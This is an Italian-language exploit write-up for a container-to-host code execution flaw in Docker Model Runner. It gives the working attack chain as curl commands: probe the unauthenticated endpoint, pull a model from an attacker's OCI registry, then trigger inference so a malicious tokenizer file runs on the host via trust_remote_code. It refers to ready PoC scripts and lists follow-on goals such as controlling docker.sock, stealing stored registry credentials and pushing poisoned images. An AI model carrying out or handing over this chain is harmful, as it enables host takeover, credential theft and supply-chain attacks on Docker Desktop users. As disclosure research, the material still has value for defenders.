Docker Model Runner da contenitore a host RCE / Escape: una vulnerabilità critica che consente l'esecuzione di codice dal contenitore all'host nel backend di inferenza MLX / SGLANG / VLLM di Docker Model Runner.
Qualsiasi container su un host Docker Desktop (dalla versione 4.40.0 alla 4.67.x) può eseguire codice sull'host con due richieste HTTP. Nessun socket montato, nessun --privileged, nessuna capability.
Ogni container può raggiungere Model Runner all'indirizzo model-runner.docker.internal senza autenticazione. Scarica modelli da qualsiasi registry OCI a cui lo punti e li archivia senza verificare i digest. I backend Python (vLLM, MLX, SGLang) caricano il modello con trust_remote_code=True (o, nel caso di MLX, non riconosce nemmeno trust_remote_code nell'input di configurazione), il che importa qualsiasi file .py a cui il modello fa riferimento in tokenizer_config.json. Quel .py viene eseguito come utente desktop.
Posizione iniziale: l'attaccante ha esecuzione di codice all'interno di un qualsiasi container sull'host. Immagine base ostile, installazione npm/pip malevola in uno spazio di lavoro di sviluppo, un runner CI che esegue codice controllato dall'attaccante, ecc. Nessun socket Docker montato, nessun --privileged, nessuna capability extra.
Sonda Model Runner.
curl -sf http://model-runner.docker.internal/api/tags
HTTP 200 significa che Model Runner è attivo e raggiungibile da questo container. Nessuna autenticazione, nessun header Origin necessario.
Avvia un registry OCI malevolo. Qualsiasi server HTTP che parla la specifica di distribuzione OCI funziona. Il registry deve essere raggiungibile dall'host (Model Runner gira sull'host, non nel container). Puoi ospitarlo su internet pubblico, oppure eseguirlo localmente e pubblicare una porta (docker-compose.yml fa quest'ultima cosa per questo PoC). Serve un modello Llama minimale e valido il cui tokenizer_config.json abbia un auto_map che punta a evil_tokenizer.py. evil_tokenizer.py è il payload per l'host. Vedi rce_registry.py.
Fai scaricare a Model Runner dal tuo registry.
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name": "your.registry/evil/model:latest"}'
Model Runner scarica il manifest, poi ogni blob, e li scrive nel suo store su disco. Nessun digest viene ricalcolato o confrontato, nessun controllo delle firme. Il modello malevolo è ora installato.
sostituisci le righe rce_registry.py:45-105 con un payload arbitrario.
./run_poc.sh check
./run_poc.sh full
./run_poc.sh test # static analysis only, no Model Runner needed
./run_poc.sh clean
La prova viene scritta in /tmp/poc_rce_proof.
rce_registry.py - finto registry OCI, serve un modello Llama minimale più evil_tokenizer.pytest_claims.py - verifica ogni affermazione contro il sorgente e il sistema in esecuzionerun_poc.sh - wrapperdocker-compose.yml - registry + container attaccante non privilegiatoDockerfile.registry, Dockerfile.attacker - immaginiAttiva l'inferenza per far caricare il modello.
curl -X POST http://model-runner.docker.internal/engines/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"your.registry/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Model Runner sceglie un backend Python (vLLM, MLX o SGLang) e lo avvia con --model <bundle_dir> che punta al modello archiviato. Il backend chiama AutoTokenizer.from_pretrained(bundle_dir, trust_remote_code=True). Transformers legge tokenizer_config.json, vede l'auto_map e importa evil_tokenizer.py dalla directory del bundle. Il codice a livello di modulo viene eseguito al momento dell'importazione.
Il payload viene eseguito sull'host. Gira come utente Docker Desktop, fuori da qualsiasi container, con pieno accesso al filesystem e alla rete dell'utente. L'inferenza stessa di solito fallisce (il modello è troppo piccolo per funzionare davvero), ma non importa: l'importazione è avvenuta prima.
Cosa ottiene l'attaccante.
/var/run/docker.sock è raggiungibile. Controllo del daemon: creare container privilegiati, montare il filesystem dell'host in uno di essi, eseguire comandi in altri container, ecc.~/.docker/config.json contiene le credenziali per ogni registry su cui l'utente ha effettuato l'accesso. Pivot sulla supply chain: pubblicare immagini malevole verso l'upstream.